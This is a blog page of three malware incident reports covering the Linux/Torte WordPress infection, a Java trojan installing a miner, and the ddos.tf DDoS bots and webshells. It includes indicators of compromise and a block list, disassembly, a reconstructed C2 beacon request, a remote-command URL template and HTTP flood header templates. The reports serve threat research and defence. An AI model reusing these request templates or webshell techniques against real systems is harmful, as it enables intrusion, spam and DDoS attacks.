Tuesday, January 12, 2016

MMD-0050-2016 - Incident report: ELF Linux/Torte infection (in Wordpress)

The indicator

Several hours ago, it was detected a suspicious inbound access on a Wordpress site with the below log:
(Thank's for the hard work from Y)
It's an unusual traffic coming from the unusual source of ip address: 

37.139.47.183|37-139-47-183.clodo.ru.|56534 | 37.139.40.0/21 | PIRIX-INET | RU | comfortel.pro | Comfortel Ltd.
62.76.41.190 |62-76-41-190.clodo.ru. |57010 | 62.76.40.0/21  | CLODO      | RU | clodo.ru      | IT House Ltd
..the requests were aiming the "uploaded" index.php file in this Wordpress site, that contains malicious code:

The PHP has two functions, depends on the sent parameter, either it will print the eval() value of the remotely sent (likely obfuscated) data via HTTP (see the first condition), or the second option, will write the file with the data grabbed from the posted parameters.

From the sysadmin point of view, up to this step we know it's malicious and but we usually don't know what this is all about without web-searching here and there on these insufficient information, if we lucky maybe we can find the clue.. But in this case, the site's administrator is smart to manage a record of the inbound suspicious traffic for the session accessing the index.php.

From its data's part we extracted and beautified the posted text as per follows, and the new adventure is started from here..

It's a sequence of base64 encoded blob of data as arrays posted as a form's parameter value to the index.php file. Which is having an eval() value in it to be decoded in the index.php as per explained above. Yes, there's no way an admin can see this malicious activity evidence unless the stream data is captured or recorded (or it's a bit out of context but maybe we can do a proactive research to find the tool set used in a CNC site that was being used post this attack).

What is this?

What is the data, and what is it for. Let's decode it one step further.

The decoded results are as below; the first part:

The first data stored in $env variable is obviously another encoded base64 data, the rest is a PHP code. The comments in the picture explained it downloads remote file & targeting Linux system that can execute the shell command via PHP environment.

The next part is:

In this part we can see the rest of the malicious process as per described in the picture's comment.
The download hostname pages.touchpadz.com is resolved to below IP in RU network. 

62.76.186.235|62-76-186-235.clodo.ru.|57010 | 62.76.184.0/21 | CLODO | RU | clodo.ru | IT House Ltd

The point is, no trace for the downloaded file too since it will be deleted afterward. And, the shell execution is performed under environment of $env. So what the $env is? Let's decode it further:

Okay we can see some obfuscation in tags, some strings that doesn't make any sense and we can see some short codes. This must mean something, and we need the decrypter logic for it.

Using ELF payload decrypter logic

At this point it's time to see the payload downloaded for this threat, the crond32 and crond64.

It's up and alive, good. What are they?

These are ELF malware files. And obviously, the encoder logic must be in it.

Apparently this ELF grabs XDVSN_SESSION_COOKIE value via syscall from the shell environment, so we are in the right track and.. trailing a bit further to find the decoder scheme:

So the decoded base64 is parsed to a xor function, with the key value:

Knowing this part is good for the next low level monitoring purpose, and this is the important part since the rest of the process of the ELF will rely on the result. Now we will know exactly what to do.

A note: I have one habit in analyzing ELF cases we handle, if I think we know and have full control to a malware, I tend to make a PoC as infection evidence by the method of: "let's feed them with anything they want to detonate its malicious process, this method is actually not a good way to do for the beginners, and in my case I reversed it well first to make it sure it is safe beforehand.

Okay, moving on, in this case the similar method above was applied, and the parsed $XDVSN_SESSION_COOKIE is showing the below result:

You can see the three more malicious URL under domain touchpadz.com inside the blob of data above under the tag of ＜lu＞, ＜bu＞ and ＜su＞ and there are other tags too. Those hostnames are pointing to one IP located in LeaseWeb network in North Holland: 

  "ip": "5.79.83.27",
  "hostname": "hosted-by.leaseweb.com",
  "city": "Amsterdam",
  "region": "North Holland",
  "country": "NL",
  "loc": "52.3740,4.8897",
  "org": "AS60781 LeaseWeb Netherlands B.V.",
  "postal": "1000"

Just to make sure these tags means something and the decryption is correct, in this ELF binary must be spotted the exact handler for each tag keyword, I checked again the ELF's assembly for these keyword's variable allocation code:

Now we all can be sure the data is correct. In every tag there is a handler for each and this ELF is composing them to further bad action(s).

Recognition of the Torte botnet threat

At this point our team remembered analysis of Torte Botnet published by Akamai researchers, you can view it here [link], and showing all of the infection indicators collected are matched. The report is having a lot of explanation of the overall threat scheme and the further ELF malware's work to interact with the CNC url to get more data to, in the end, send spams via SMTP connection which I also confirmed the same functions are found in this malware.

Okay, so what had happened here??

As for our incident case, it is an attempt to infect a Linux node to be part of the Torte Spam Botnet with using ELF malware (called as "Torte botnet spooler binary" by Akamai ; to make it simple, alongside to other ELF malware binaries let's call it as Linux/Torte).

The infection is cleverly done through a remote access interfaced by compromised Wordpress' uploaded PHP file, by a posted HTTP encoded data. And upon succeeded the threaded malware processes will run in the Linux server's memory without leaving much trace, except (1)a single index.php file used in initial hack as the backdoor of infection, (2)the malicious process and (3)several malicious environment variables used.

Behavior analysis

In a test bed the malware will initially load dynamic linker ld-2.13.so to load its shared libs/objects.

It then seeked and loaded the below list of its dependency libraries: 

/etc/ld.so.cache
/usr/lib/i386-linux-gnu/libcurl.so.4
/usr/lib/i386-linux-gnu/libstdc++.so.6
/lib/i386-linux-gnu/i686/cmov/libm.so.6
/lib/i386-linux-gnu/libgcc_s.so.1
/lib/i386-linux-gnu/i686/cmov/libc.so.6
/lib/i386-linux-gnu/i686/cmov/libpthread.so.0
/usr/lib/i386-linux-gnu/libidn.so.11
/usr/lib/i386-linux-gnu/libssh2.so.1
/usr/lib/i386-linux-gnu/liblber-2.4.so.2
/usr/lib/i386-linux-gnu/libldap_r-2.4.so.2
/lib/i386-linux-gnu/i686/cmov/librt.so.1
/usr/lib/i386-linux-gnu/libgssapi_krb5.so.2
/usr/lib/i386-linux-gnu/i686/cmov/libssl.so.1.0.0
/usr/lib/i386-linux-gnu/i686/cmov/libcrypto.so.1.0.0
/usr/lib/i386-linux-gnu/librtmp.so.0
/lib/i386-linux-gnu/libz.so.1
/lib/i386-linux-gnu/libgcrypt.so.11
/lib/i386-linux-gnu/i686/cmov/libresolv.so.2
/usr/lib/i386-linux-gnu/libsasl2.so.2
/usr/lib/i386-linux-gnu/libgnutls.so.26
/usr/lib/i386-linux-gnu/libkrb5.so.3
/usr/lib/i386-linux-gnu/libk5crypto.so.3
/lib/i386-linux-gnu/libcom_err.so.2
/usr/lib/i386-linux-gnu/libkrb5support.so.0
/lib/i386-linux-gnu/i686/cmov/libdl.so.2
/lib/i386-linux-gnu/libkeyutils.so.1
/lib/i386-linux-gnu/libgpg-error.so.0
/usr/lib/i386-linux-gnu/libtasn1.so.3
/usr/lib/i386-linux-gnu/libp11-kit.so.0

To perform its malicious activities, this malware is utilizing shell environment as its place to store its variables. In an infected machine, the Linux environment variables will be modified (mostly added) to support this malicious scheme, this can be used as reference by sysadmins as indicator for this infection too.

Below is the snapshot of the variables, please see the marked part. (There are also shell variables from web server's environment's too as "noise", please kindly bear with it).

In the marked entries you can see malware HTTP request variables.

The ELF malware saved and run in infected system as threaded "ps" processes. The original file was deleted right after the ELF malware is executed. If you use list of files (lsof), this process will be shown as "ps (deleted)". Again, the malicious shell variables and the "ps (deleted") process is what mostly to be spotted in an infected system instead of the injected index.php (or any name .php).

So far there's no sign of any persistent effort for malware, i.e.: an autostart, to survive the reboot. It looks like the actor(s) wanted it to be that way for some reason. The deletion of the malicious "ps" processes, following by unset the malicious environment variables will cure the system, don't forget to delete the index.php (the uploaded backdoor file) and patch the Wordpress flaw.

Block list

It is very recommendable to block this listed hostnames and IP addresses: 

sk2.touchpadz.com 
stat.touchpadz.com 
bat.touchpadz.com
pages.touchpadz.com
5.79.83.27    (CNC backconnect source) 
37.139.47.183 (wordpress attacker bot/backdoor source)
62.76.41.190  (wordpress attacker bot/backdoor source)
62.76.186.235 (malware download server)

Outbound traffic filtration note

This part is copy of the outbound traffic filtration plan I made in email for follow up. I think it is good for others to know too, so please bear the textual format.

This threat, without traffic record, it's hard to analyze. But in the ELF is stated all we need to figure its outbound connection. Like access to GET request: 

[0x0804b280]> pd @0x0804DE24  !222
0x0804de24      8d45d8         lea eax, [ebp-local_10]
0x0804de27      c74424080500.  mov dword [esp + 8], 5
0x0804de2f      c7442404f903.  mov dword [esp + 4], 0x80503f9 ; "/img/" 
0x0804de37      890424         mov dword [esp], eax           ; noted the trailing "/"
0x0804de3a      e859b1ffff     call sym.std::string::append
0x0804de3f      8d55d8         lea edx, [ebp-local_10]
0x0804de42      c74424080400.  mov dword [esp + 8], 4
0x0804de4a      c7442404ff03.  mov dword [esp + 4], 0x80503ff ; "logo"
0x0804de52      891424         mov dword [esp], edx
0x0804de55      e83eb1ffff     call sym.std::string::append
0x0804de5a      8d45d8         lea eax, [ebp-local_10]
0x0804de5d      c74424080400.  mov dword [esp + 8], 4
0x0804de65      c74424040404.  mov dword [esp + 4], 0x8050404 ; ".gif"
0x0804de6d      890424         mov dword [esp], eax
0x0804de70      e823b1ffff     call sym.std::string::append
0x0804de75      8d55d8         lea edx, [ebp-local_10]
0x0804de78      c74424080700.  mov dword [esp + 8], 7
0x0804de80      c74424040904.  mov dword [esp + 4], 0x8050409 ; "?sessd="
0x0804de88      891424         mov dword [esp], edx
0x0804de8b      e808b1ffff     call sym.std::string::append
using these parameters: 
[0x0804b280]> pd @0x080503ff!55
    ;-- str._sessd_:
    ; DATA XREF from 0x0804de80 (unk)
            0x08050409 .string "?sessd=" ; len=8
    ;-- str._sessc_:
    ; DATA XREF from 0x0804dead (unk)
        |   0x08050411 .string "&sessc=" ; len=8
    ;-- str._sessk_:
    ; DATA XREF from 0x0804df0d (unk)
       ||   0x08050419  string "&sessk=" ; len=8
also it uses these user-agents: 
; DATA XREF from 0x0804cda3 (unk)
0x08050368     .string "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)" ; len=58
0x080503a2      0000           add byte [eax], al
; DATA XREF from 0x0804cfd4 (unk)
0x080503a4     .string "Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)" ; len=58
Using decrypted tags from $XDVSN_SESSION_COOKIE (see picture above), the used tags to be sent in HTTP/1.1 with GET method by CThreadPool::httpGet.i.e.: "lt" --> "sessc" ; and "sk" --> 2ssk"; "bu"-->"Host:" 
0x0804df5f      e89cedffff     call sym.CThreadPool::httpGet;
esp=0x177ffc NULL; eip=0x804cd00 sym.CThreadPool::httpGet
Composing its GET request should came up to a HTTP GET commands like this: 
GET //img/loｇo.gif?seｓsd=xx&seｓsc=100&seｓsk=64537ｂ63727a28ｂ0 OR 226ｄ9b250f8aｄ270 [..]
HTTP/1.1
Host: sk2. touｃhpadz .ｃom 
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6)
            {OR} Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN; rv:1.7.6)
Accept: */*
this should work..Noted, I didn't test it further yet. PS: I secured (read: tweaked it w/double bytes) some characters in text of sent request traffic template to avoid the false positive.

Follow up & Epilogue

The sample we gained from this infection I posted in the kernelmode [link].
The detection ratio is not bad, you can see it here -->[-1-] and [-2-].
Thank's for support from Y (for a good forensics & evidence collecting effort) & W (in investigation) from our team. And also to the Akamai team for the good report.

We hope this information will be useful for fellow sysadmins, and researchers who follow the threat. All of information was written in a way that hopefully can be reproduced for IR and investigation purpose.
The additional information and follow up will be added in this section, as usual.

#MalwareMustDie!

Posted by unixfreaxjp at

Saturday, January 9, 2016

MMD-0049-2016 - A case of java trojan (downloader/RCE) for remote minerd hack

Background

This is a short post for supporting the takedown purpose. Warning: Sorry, this time there's nothing fancy nor "in-depth analysis" :-) Yet the current hacking & infecting scheme is so bad, so I think it's best for all of us (fellow sysadmins in particular) to know this information for mitigation and hardening purpose.

In this case, a bad actor was using java coded malware injected to a "base infection" - a compromised windows machine (via usual remote windows service exploit hack method), to be used as a remote command execution (RCE) to the other hacked victim's machines, or, to be used as multiple-OS trojan downloader for attacking other machines. The trojan is supposed to be executed under java environment on the targeted machines, from a remote by URL with arguments as an API, to perform code execution or download functions.

In the current finding, this Java trojan is used to install the minerd into several targets. The Java trojan's download panel, the HFS web server, is installed on a hacked host in South Korea network by the suspected bad actor from PRC/China. (Yes, even it sounds like I'm pointing finger here, the threat source information is solid, do trace its bitcoin hash for PoC or the used tools).

The detection of the Java malware is always low, why we think the awareness of the threat is also important to raise its detection ratio (if possible).

The HFS panel

It was informed to our group by our friends (thank's to 김영욱) about the infection panel in here:

This panel is spotted in South Korea friend's network (victim) I hope this post can be used as reference for good people over there to delete the malware. The oss.war is the java trojan we described above.

In each directory it also spotted the minerd installer script:

..it was written in bash that is containing the information of the suspected actor.

Trojan downloader & remote command execution

It's a java coded malware as per seen in below:

 It has arguments to be used during the remote access with URL format looks like below: 

http://[BASE_INFECTION_PANEL]/oss.war?{cmd=base64]&winurl=[base64]&linurl=[base64]
Each argument is in base64 encoded:

These are the download function and remote execution function coded:

We believe it's coded in Java to support multiple operating system infection scheme, and even in this case it was set to download minerd installation bash script, the Java malware itself was generically designed in a way that can be used for many infection implementation..

As per written above, the detection ratio is low, but I never see high detection for any java coded applet or .jar since my first day hunting malware in web-->[link]

Malicious installation minerd

Bitcoin mining is okay, But hacking other's country machine for mining is bad. In this case is just worse than "bad" since the scheme is being used to hack multiple machines for bitcoin mining.

There are some directories with the extracted bitcoin installer already remotely used to infect victim's machine(s), and in each of the directory there's a one.tar file [link], which is actually a bash script to be remotely executed to install a minerd (a bit coin mining *NIX software). This remote execution can be done using Java malware remote execution function.

Well, I think the comments I wrote in the snippet picture above explained much of the badness and the link for the next investigation. Ah, yes, it's downloading the x86-64 ELF minerd.


Tips for IR team investigators: If the authority can access the base-infection machine, they can see the HFS web server log file (which is dumped also in memory that can be gained by forensics, just in case the bad actor deleting the log) to check which remote victim machines that were exploited for this malicious mining.

Epilogue & follow-up

Thank's for everyone involved in this matter. Please bare with this simple short post.
The usage java for this purpose is not nice & it's good to know.
I post the sample in kernelmode [link].
Thank's in advance for the S.Korea friends for the cleanup, below is more info of the network: 

  "ip": "202.68.226.59",
  "region": "Seoul",
  "country": "KR",
  "loc": "37.5985,126.9783",
  "org": "AS38086 IP4 Networks,Inc.(cwsys.net)"
  "prefix": "202.68.224.0/20"

#MalwareMustDie!

Posted by unixfreaxjp at

Tuesday, January 5, 2016

MMD-0048-2016 - DDOS.TF = (new) ELF & Win32 DDoS service with ASP + PHP/MySQL MOF webshells

Background

Linux exploitation by bad actors from People Republic of China (in short: PRC) is not a new matter. Their attacks are coming everyday and their method is also improving by days.

This post is another case of the issue, except it is reporting you some improvement and new source of DoS threat from the same landscape. The unique point of this one is by combining ElasticSearch exploitation for Linux boxes AND also aiming Windows machines via a malicious MOF (Managed Object Format) coded in a malicious PHP-MySQL webshell to exploit the WMI (Windows Management Instrumentation) architecture to remotely upload/execute any desired payload for infection. Obviously the windows infection pattern is targeting old systems with __EventConsumer runs in SYSTEM privilege (Windows XP and Windows 2003 Server). There are also an ASP web shell and some hacktools spotted.

The combination of the above threat is wrapped in a single multi purpose CNC GUI panel, that can control and monitor the attack performed, until the DDoS activity, for Linux and Windows client basis ddosers.

The ELF malware used as bot client for DDoS purpose is a new coded one, firstly spotted it in December 5th 2015,and the bad actors is synchronizing the latest version with its CNC GUI server software. Yes, we have a new threat here. As for the Windows PE DDoSer it was checked by our team (thank's B) as a variant of Linux/MrBlack malware in Win32 version. In this post we named the new malware found as Linux/DDOSTF variant.

The Wrath DDoS Stresser Service / 天罚DDoS集群压力测试系统

It's all started by and centered to this "wanna-look-legit" Chinese origin DDoS service. Which its site is in the domain of ddos.tf , this time we quicky took the snapshot of the site for the audience safe view in here [link]
. You can browse this service's information safely about the "features" promoted in the snapshot site by using google translation, to give you a good idea what this site is doing.

In the top page, there is a snapshot picture of the DDoS CNC server software panel of its ELF botnet

which is showing the recent last version (version 6) of the DDoS client/server malware served. In a glimpse it looks exactly like the BillGates CNC tools by the design, I think they managed to copy it, somehow.

A lot of features was promoted in the 2nd tab, which we suggest the investigator to translate & read them for its correlation to the malware in this case, and in the third menu tab you can view some clear snapshots they made for the alternative older versions from 3,4,5 which is showing its support to Linux and Windows DDoS bot client managed by the one-centered CNC panel.

In the bottom of the page you will see the web exploitation tool they use to gain privilege to windows machine, using the .asp(x) script to get the payload installed & (flood) attack controllers:

I think these are real snapshots with having some slight modification for promotion purpose. Apparently we have a very serious player here. And that's linked to the information in the next tab.

In the 4th tab you can see the price list information of using this service, and how to reach the actor for the payment purpose (see:264164661 part)

..and in the 5th tab it's showing the "disclaimer" too as per following original chinese language (I copy pasted for you to automate-translating): 

申明:天罚集群压力测试系统仅用于机房压力测试，若有违反国家法律后果自负！
1：关于产品：本站产品仅限于个人及企业压力测试自身防火墙性能之用途，
   不当使用本站软件所造成的任何后果本站(天罚工作室)不承担任何责任，
   此相关类似声明在官网及使用协议中均作出明显说明；
2：关于业务：本站不提供任何相关攻击测试业务和非法主机(肉鸡)出售租赁业务；
   只会按照部分客户实际需求可能提供联系渠道，此附加服务不在实际承诺交易范围内，
   交易纠纷涉及范围仅限软件产品服务本身；
至于软件的效果也不要来问我，你来问我我肯定说好 有什么意义，
一个小小的免费版效果就那么强大，呵呵！你懂得！
which is basically explaining that the author is not responsible for any bad usage..urging customers to use it for personal purpose only, and business usage guideline..and blah blah info for contacting the actor.

Is it as legal as it's stated?

Good question. And the answer is obviously NOT, below is our argument:

Once upon a time, about 24+ hours ago, there's an attack coming to an innocent ElasticSearch server from this panel:

And a red-handed evidence was spotted during an effort to infect this innocent Linux server using downloaded ELF malware files from that a malware HFS web panel to this victim host:

The attacker was using the ElasticSearch known vulnerability/exploit (thank's for the log) and that ATTACKER-PANEL is the ip of the panel mentioned in picture snapshot above. P.S.:we will disclose the IP after the threat is taken down.

The ELF file udp and syb downloaded are known ELF Linux/BillGates malware variant (with encoded commands in the codes to make reversing difficult..which was FAILED) and are using IP basis CNC in 173.254.236.97:25000. The host that's used as CNC is in United States with below detail: 

  "ip": "173.254.236.97",
  "hostname": "173.254.236.97.static.quadranet.com",
  "city": "Los Angeles",
  "region": "California",
  "country": "US",
  "loc": "34.0438,-118.2512",
  "org": "AS8100 QuadraNet, Inc",
  "postal": "90014"
The panel also contains the older made of Linux/BillGates (CNC is IP basis 122.114.124.26:25000) and Linux/Elknot.freeBSD (CNC is IP basis 122.114.124.26:11223)

The geo location of IP 122.114.124.26: 
  "ip": "122.114.124.26",
  "hostname": "No Hostname",
  "city": "Zhengzhou",
  "region": "Henan Sheng",
  "country": "CN",
  "loc": "34.6836,113.5325",
  "org": "AS37943 ZhengZhou GIANT Computer Network Technology Co., Ltd"
There are also six files of accompanied new type of ELF DDoSers.

But what's the connection of this panel with the ddos.tf ?
In the next section the connection of this panel to the ddos.tf will be seen clear as ice..

As the additional information, in the ddos.tf site, there are some archives hidden inside that one of them contains the infamous s.exe with its pairs of ip.txt and pass.txt, the SSH weak credential bruter tool... In the legit site?? Hmm..

Linux/DDOSTF a new ELF DDoS malware

I decided to name the new malware as Linux/DDOSTF since this is the specific malware made for this site, it's original and we can see its characteristic clearly. The first ELF file of this kind which was spotted online, is named as JrLinux, which is probably its original name(?), but Linux/DDOSTF is easier to remember to refer to its threat's source.

The samples are all originally coded in C compiled with stripped and static ELF, it is "fun" to reverse. This malware uses the 2 types of CNC, the one which is the pingback that is hard-coded its IP address in the binary, as you can see in the next picture, and the other is the hidden decoded base64 hostname. All of the binaries are builder basis which the five of them are all identical in skeleton that shows the ELF basis template was used as a master.

The first relation of the ddos.tf with this panel can be viewed in the new ELF Linux/DDOSTF in the below location/address which is stated its threat origin (refer to the 8888 binary):

You can see also the IP address for the first connection is written in hard-coded.

The second relation is as per explained in the ddos.tf site itself, it's camouflage the ELF into the Windows .exe file, as per seen in the new ELF with injected strings as if a Windows binary's property..

[0x0804a0b0]> iz~Win
vaddr=0x080ca1c6 [..] sz=25 len=24 [..] string="Windows Help System Myss"
vaddr=0x080ca206 [..] sz=15 len=14 [..] string="WinHelp32 Myss"
vaddr=0x080ca246 [..] sz=49 len=48 [..] string="Windows Help System for X32 windows desktop Myss"
As you can see in the screenshot in the ddos.tf site:

The usage of the myss is also spotted in myss.exe and myss injection panel. So this is their "idea" of bypassing firewall as per also written in the chinese language promotion note in the ddos.tf site.

The attacker part is initially can be spotted starting at 0x0804A3D8 which is having two initial values of UDP-Flow (default) or SYN-Flow flags defined during the distribution:

If you trace it further you'll meet the jump switch in here, which stated the specific form of each attacks:

I counted to see 12 routes to packet flood logic via below jump references: 

0x08049E07 0x08049F42 0x08049FEA 0x08049E9A
0x0804A05A 0x08049F0A 0x08049FB2 0x08049E67
0x0804A022 0x08049ED2 0x08049F7A 0x08049E37
Which are having SYN, DNS, TCP and ACK logic, with four of them are HTTP floods using following snippets as HTTP headers, these 12 attacks is well-known used in Linux/BillGates and these functions are likely being snagged & modified by ddos.tf. 
0x080b1d74 .string"
GET %s HTTP/1.1\\r\\n
Host: %s\\r\\n
Connection: Keep-Alive\\r\\n
Accept: */*\\r\\n
Accept-Language: zh-CN\\r\\n
Accept-Encoding: gzip, deflate\\r\\n
User-Agent: Mozilla/5.0+(compatible;+Baiduspider/2.0;++http://wwwbaidu.com/search/spider.html)\\r\\n
Referer: http://%s%s\\r\\n
Pragma: no-cache\\r\\n
DNT: 1\\r\\n
Connection: Keep-Alive\\r\\n"

0x080b1e98 .string "
GET %s HTTP/1.1\\r\\n
Host: %s\\r\\n
Connection: Keep-Alive\\r\\n
Accept: */*\\r\\n
Accept-Language: zh-CN\\r\\n
Accept-Encoding: gzip, deflate\\r\\n
User-Agent:Mozilla/5.0 (compatible;+Googlebot/2.1;++http://www.google.com/bot.html)\\r\\n
Referer: http://%s%s\\r\\n
Pragma: no-cache\\r\\n
DNT: 1\\r\\n
Connection: Keep-Alive\\r\\n\\r\\n"

The hidden CNC leads to the domain of myss.basec.cc which is the third PoC relation of the malware download panel to the ddos.tf service (the myss mark), you can spot these sign in "distributed" version of the binaries at the below info, with its resolved data now:

And the function uses this CNC is in 0x8048FE8 with its communication "protocol".

The IP registered to this CNC is 58.220.41.10 in: 

  "ip": "58.220.41.10",
  "hostname": "No Hostname",
  "city": "Nanjing",
  "region": "Jiangsu Sheng",
  "country": "CN",
  "loc": "32.0617,118.7778",
  "org": "AS23650 AS Number for CHINANET jiangsu province backbone"

On the first run, the malware does sys_clone itself and then re- sys_clone-ing itself to then redirect the stdin, stdout, and stderr to /dev/null (for silent noises) and then do the double sys_clone again following by changing its work directory to /tmp , it then runs its main process afterward. This information is important if you want to trail/debug its processes properly.

This DDoS'er connects to first CNC, to send the initial infected report which I counted as 520 bytes blob data:

As you can see in the picture above, along with the system information, the infected host is informing the CNC whether the ELF initially flagged as UDP-flow or SYN-flow, and that info received is shown in the panel shown at ddos.tf site's screenshot:

Well, accordingly from the CNC, the below part of its control panel will be the place where the target of the DDoS will be entered, correspondenced to the infected DDoS Linux/DDOSTF bots to start the attack.

After calling back, this malware is supposed to make connection to the decoded CNC in myss.basec.cc afterward, and static compiled DNS resolver library will translate the connection to its IP to supposedly performing further steps.

This is an additional: The previous version differences
 I was informed the existence of the older sample (hash: dac95d35a611cc8b4f21f9f77e10ead9) uploaded in the VirusTotal in November 27th, 2015 (thank's Michal Malik for poking me on this). This is, currently, the oldest sample we can fetch for the current threat, showing the previous versions (suspecting version 5 or 4) of the Linux/DDOSTF ELF malware. In this version the malware is using a single CNC in hostname basis (hardcoded) as balei.f3322.org:6666 (222.186.34.143:6666). 

  "ip": "222.186.34.143",
  "city": "Nanjing",
  "region": "Jiangsu Sheng",
  "country": "CN",
  "org": "AS23650 AS Number for CHINANET jiangsu province backbone"
  "prefix:" "222.186.34.0/23"
This earlier version also doesn't have the SYN/UDP-Flow tag, and therefore doesn't have the encoded hidden CNC function/data.


So it seems the hidden CNC is a new feature. I am not so sure why the hidden CNC is used in the recent version only. It's suggesting "maybe" the coder want to secretly track the distribution of this malware binaries. Below is an easy way to check that encoded CNC:

The hashes of the ELF samples & their checked CNC are as per below, our team mates are uploading the samples to the VirusTotal accordingly: 

Hash (md5)                        ELF      CNC1                CNC2
--------------------------------------------------------------------------- 
71a868cdcc6b79b7d274e3b558cd4596  8888     173.254.236.97:8888 myss.basec.cc(port: 8893)
3e0d96cd1e0a97e61d96b7863f39a1d4  6666     122.114.124.26:6666 myss.basec.cc(port: 8893) 
3e0d96cd1e0a97e61d96b7863f39a1d4  V6       122.114.124.26:6666 myss.basec.cc(port: 8893)
bf65b4947b194be658fdc2b2fb09c35b  V61      122.114.124.26:3795 myss.basec.cc(port: 8893)
3df2c500b5466b5ed2c7907fe8e0e1d5  V62      122.114.124.26:3795 (none)       (none)
3e0d96cd1e0a97e61d96b7863f39a1d4  JrLinux  122.114.124.26:6666 myss.basec.cc(port: 8893) 
dac95d35a611cc8b4f21f9f77e10ead9  oldver  balei.f3322.org:6666 (none)       (none)
*) myss.basec.cc = 58.220.41.10 (CN/AS23650/Chinanet Jiangshu)
*) balei.f3322.org = 222.186.34.143 (CN/AS23650/Chinanet Jiangshu)
---------------------------------------------------------------------------

Windows DDoSer used is..Mr.Black WinPE variant

The DDOS client payload for the Windows is Mr.Black WinPE version, it is a known threat with the good detection ratio, so I will not make comment for this.
The sample is in Virus Total [link]. And the CNC accessed is hostname basis myss.ddns.net (with same IP address as ELF at 58.220.41.10) in port 8893 too.

ASP WinShell + PHP MySQL .MOF WinShell + etc

This story is not over yet, there are two files that is important for all of us to be aware of, as per marked below:

The .aspx file, which it's not a new threat, is an ASP Web Shell which its functions are self-explanatory in the modified snapshot below:

The interesting one is the mof.php file, it is the PHP-MySQL coded to aim WMI exploitation via malicious MOF file. The common practise for the known MOF exploit file is by ASP script, but this attacker is using rather unique method, by using PHP & MySQL instead.

The interface can be pretty much viewed if you run it safely as web code as per following:

Since the PHP/MySQL as front end for WMI exploitation via MOF injection is rather rare to myself and my fellow team mates too, I tried to break down its codes as detailed as possible in the picture below:

It's amazingly "evil concept" isn't it? Yes, it is obviously a copy-paste code (see reference). I don't think they even calculated the chance to infect Windows running with PHP and MySQL installed beforehand..no wonder it has the low infection hit even it's already up ITW like 6+ months.

I almost miss this one. There is more "Binary Injection Webshell" tool also powerd by PHP/MySQL in that panel: it is udf.php, the snapshot taken during some efforts emulating the web shell :

I translated the Chinese comments and captions, and also neutralized the code for not being maliciously re-used then uploaded it to our pastebin [link] for your review due to mitigation purpose. It's a PHP/SQL base (malicious) DLL injector with the custom injection option interface, with hard-coded the template default DLL in its PHP as binary text.

Seeing these two MySQL-base injection webshell scripts, I start to realize that MySQL is also powerful tool to perform a binary and file injection, and that is the reason why the actor was putting mysql.exe in the panel too. "Maybe" this is also why PHP code is chosen instead ASP. Or maybe I just took it too serious and the actor is just another copy-paster :-)

One last thing that maybe we all need to know is the tool called NetFuke is spotted in the panel, which is a nice PRC made interface sniffer [link], and looks like the atacker was using it as a tool to generate report like this:

Yes. This panel is really heavy loaded not only with malware but with webshell weapons & hacking tools. The ELF & windows malware used are pointing to the ddos.tf. Are these attackers actually the actor behind ddos.tf site (owners/administrators)? Or maybe one of the "customers" of the ddos.tf? It's still a question. Either way, the activity of the infection panel has to be stopped.


New Additional: DDOS.TF new samples in Windows PE

Recently I found a panel in Hongkong contains the binaries of Windows PE of DDOSTF that are not originated to MrBlack-base code (an improvement from what was previous written in this blog post), but these new binaries were either ported from the DDOSTF or coded based on the same logic as the linux version:

The samples I uploaded to kernelmode -->here, feel free to fetch.

The unique functionality of this windows version is the Windows OS detection, which is providing detection from Windows 2000 to Windows 8 as you can see in the below 2 snippet code:


After the version checked, the below case switch action will be executed depends on the flag of commands:

The code is in fn.0x40483B(), if you want to see the disassembled code one is in-->here

The offensive function was called in the case 0x5 to the fn.0x00403f05. You will see some same SleepTrick() (or break or 0 pause tricks combined calling prinf)..whatever you want to call it, which is explaining that many printf() was called (see picture below)

Just pass these and move forward to 0x00403f52 where you can see the other switch of 0x12 case for the thread management (picture is below)

The switch-cases I sorted as per below:

Each switch is having calls specific way on attack method and in creating threads and handles.

One thing that can be used to ID the threat is the attack code in 0x0403D7a at the below code:

This is match to the "myss" tag in-->here. This is the callback function that is using HTTP with specific HTTP referer to Baidu address: 

"Cache-Control: no-cache\r\nReferer: http://www.baidu.com\r\n"

Each attack performed is simple and specific, like the part I reversed in here:

Other attacks has different logic, it is really case by case..

Additionally, DDOS.TF windows versions are also having function to manipulate origin IP address into 192.168.1.244 and 192.168.1.32, which can be found in two attacks functions in my sample.

I hate to mock, but I have to do it after seeing the HTTP headers used for the L7 attacks of Win32/DDOS.TF, see it carefully and you will know how "IMPOSSIBLE" for some faked bots requesting in such combination.. This is supporting the fact that the coder/group behind this malware are teenagers with lacking of knowledge..
Please see below picture in marked parts, think it well and enjoy! :-))

To the young scums behind this threat, our message to you:
STOP these badness kids, go to decent path. You and your stupid "anonymous" mask won't hide you and your ID much..

#MalwareMustDie!!


Recent attacker IP for ElasticSearch of suspected same actor(same M.O.)

These are IP source of recent recorded attackers of with same panel/M.O.: 

173.254.236.11|173.254.236.11.static.quadranet.com.|8100 | 173.254.192.0/18 | ASN-QUADRANET-GLOBAL | US | quadranet.com | QuadraNet Inc
173.254.236.19|173.254.236.19.static.quadranet.com.|8100 | 173.254.192.0/18 | ASN-QUADRANET-GLOBAL | US | quadranet.com | QuadraNet Inc
173.254.236.26|173.254.236.26.static.quadranet.com.|8100 | 173.254.192.0/18 | ASN-QUADRANET-GLOBAL | US | quadranet.com | QuadraNet Inc
173.254.236.55|173.254.236.55.static.quadranet.com.|8100 | 173.254.192.0/18 | ASN-QUADRANET-GLOBAL | US | quadranet.com | QuadraNet Inc
Please be noted that these IP are in the same network ASN/prefix AS8100 / 173.254.192.0/18 as the latest CNC used: 173.254.236.97

Epilogue, follow up, additional reference

Thank's for the MMD ELF research cool team mates, to B for 1st spotting new ELF that is ending up to a quite long post :), to Y for nice initial analysis on the webshell exploitation, to W1 for digging all resources for exploitation codes, and W2 to spread & analysis infrastructure, you're all the best.

Good reference for MOF exploitation in Windows WMI can be found here--> [-1-][-2-][-3-][-4-]

The full view of the panel infection of ddos.tf payloads:

The sample & more info for researchers is shared at kernelmode [link]
Please help to raise detection ratio [-1-][-2-]of this new ELF variant.

Stay safe! Happy New Year 2016 form MalwareMustDie!

